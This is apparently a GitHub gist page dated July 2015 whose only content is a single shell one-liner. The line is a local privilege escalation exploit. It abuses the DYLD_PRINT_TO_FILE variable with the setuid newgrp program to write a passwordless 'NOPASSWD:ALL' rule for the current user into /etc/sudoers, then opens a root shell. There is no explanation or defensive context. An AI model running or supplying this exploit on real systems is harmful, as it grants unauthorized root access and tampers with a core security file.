Skip to content

Instantly share code, notes, and snippets.

@pmoust
Created Jul 23, 2015
Embed
What would you like to do?
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment